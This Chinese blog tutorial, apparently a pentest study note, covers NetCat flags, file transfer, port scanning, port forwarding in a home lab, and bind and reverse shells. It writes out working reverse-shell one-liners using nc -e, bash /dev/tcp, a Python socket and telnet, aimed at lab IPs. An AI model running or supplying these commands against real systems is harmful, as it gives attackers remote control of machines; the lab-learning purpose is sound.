NetCat使用教程
NetCat使用教程
帮助信息
nc -h 查看帮助信息
-d: 脱离命令窗口,在后台运行,常用于后门建立过程-e: 执行某个程序 ,常用于后门建立过程
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过DNS解析)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本地监听端口号
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-t:回复telnet的请求数据包
-u: 使用UDP传输协议
-v: 详细输出
-w<超时秒数>:设置等待连线的时间
-z: 设置扫描模式,表示发送的数据包不包含任何payload
基础使用
- 创建服务器端:nc -l -p [本地端口]
- 创建客户端(连接服务端):nc [服务端ip] [服务端口号]
shell获取
(1)正向连接:客户端连接服务器,客户端获取服务器的shell。(目标机监听,攻击机连接)
-
目标机命令创建服务器端:nc -l -p [本地端口] -e cmd.exe (在win中使用)
-
目标机命令创建服务器端:nc -l -p [本地端口] -e /bin/sh (在linux中使用)
当客户端连接到服务器端的时候 就会返回执行cmd返回命令的结果返回到连接端
-
攻击机命令创建客户端(连接服务端) : nc [服务端ip] [服务端口号]
(2)反向连接:客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。
(攻击机监听,目标机连接)
- 目标机(linux下):nc ip [目标机本地端口]-e /bin/sh
- 目标机(windows下):nc ip [目标机本地端口] -e c:\windows\system32\cmd.exe
- 攻击机:nc -lvp [目标机本地端口]
文件传输使用方法
- 接收端端:nc -l -p [本地端口] > received.txt (如果没有指定路径,received.txt 会保存在当前工作目录)
- 发送端 : nc [接受端ip] [接收端本地口号] < infile(文件路径)
攻击机(发送端)去连接目标机(接收端)将 /root/outfile文件通过nc连接目标机的ip端口 将文件重命名并保存在当前工作路径
上面是kail作为发送端 windows是接收端
接下来是kail作为接收端 windows作为发送段
目标机(发送端) nc会通过监听端口将要传输的文件传输到端口上 攻击机(接受端) 去连接目标机ip端口 就会接受文件 <>箭头所指的方向代表所要传输的对象
如果此时服务器端并没有准备好连接状态 而客户端已经使用nc进行连接 那么客户端就会一直等待下去 知道连接上服务端 造成一种假死状态
- 解决方法 :设置等待时间
nc -w3 ip [端口] : 设置等待时间3秒 超过3秒 客户端直接关闭等待连接
端口扫描
- nc -v -n -z -w1 ip [端口范围]
-v: 详细输出
-n:直接使用ip地址不对目标机器进行dns解析
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用
- 对目标的服务banner进行抓取:
echo " " | nc -v -n -w1 192.168.162.135 1-1000
Netcat连接转发
这里准备三台机子
内网 :metasploitable linux 地址 : 192.168.162.135
外网:kali linux 和我们的主机windows处于同一网段 地址:192.168.1.6
windows 主机 地址 :192.168.1.5
首先 在metasploitable下面先启动一个监听端口等待链接
- netcat -l -p 4444
在windows下准备一个bat文件 里面写上nc要转发的地址和监听端口
在windows上启动nc创建一个新的监听端口 然后执行我们提前写好的.bat文件
打开kali
用nc连接我们的windows主机 这样我们连接windows上的同时 windows上执行着我们写好的.bat文件 就能让windows转发我们的kali监听metasploitable liunx 实现kali和metasploitable之间的通讯了
Bash反弹Shell
应用场景:某些拿到服务器权限后,想设置一个反弹shell。但是目标服务器上没有安装Netcat时。
目标机:kali 10.8.29.162
攻击机 :windows 10.8.29.39
条件:
当前用户需要有足够的权限执行bash命令
当前的shell环境需要是bash shell 下,不是bash shell的话会导致报错,提示没有该目录或文件夹
例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash命令进入bash shell
才能使用bash反弹shell,如下
命令介绍
- bash -i >& /dev/tcp/10.8.29.39/4445 0>&1
在命令中bash -i 表示已交互模式运行bash shel1。重定向符 >&,如果在其后加文件描述符,是将bash-i交互模,传递给文件描述符,而如果其后是文件,则v/tcp/ip/port表示传递给远程主机的IP地将bash-i 交互模式传递给文件。/de址对应的端口。
文件描述符: 标准输入、1标准输出2、错误输入输出命令中的 0>&1 表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容。
Python反弹Shell
应用场景
某些拿到了服务器的权限之后 想要反弹shell 但是目标服务器上没有安装 但是安装了 python
目标机 kali :metasploitable 192.168.162.128
攻击机 windows 10.8.29.39
- 命令:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("10.8.29.39",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
telnet反弹Shell
应用场景
Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet
或局域网连接到其他计算机
Telnet 命令可用于连接到远程计算机并执行各种操作,例如运行命令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用程序来发起
Telnet 会话,并在会话期间发送命令和接收输出。简单来说就是ssh的前身
条件:目标主机上存在telnet服务
1.在攻击端上打开两个终端分别执行监听
同样我们执行命令前要执行bash命令进入bash shell kali默认是在zsh shell下
执行命令
- telnet 10.8.29.39 4444 | /bin/bash | telnet 10.8.29.39 4445
__EOF__
![](https://images.cnblogs.com/cnblogs_com/blogs/829867/galleries/2418886/t_240831025930_911cb74263a2c970d913d093531b1f7.jpg)
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek-R1本地部署如何选择适合你的版本?看这里
· 开源的 DeepSeek-R1「GitHub 热点速览」
· 传国玉玺易主,ai.com竟然跳转到国产AI
· 揭秘 Sdcb Chats 如何解析 DeepSeek-R1 思维链
· 自己如何在本地电脑从零搭建DeepSeek!手把手教学,快来看看! (建议收藏)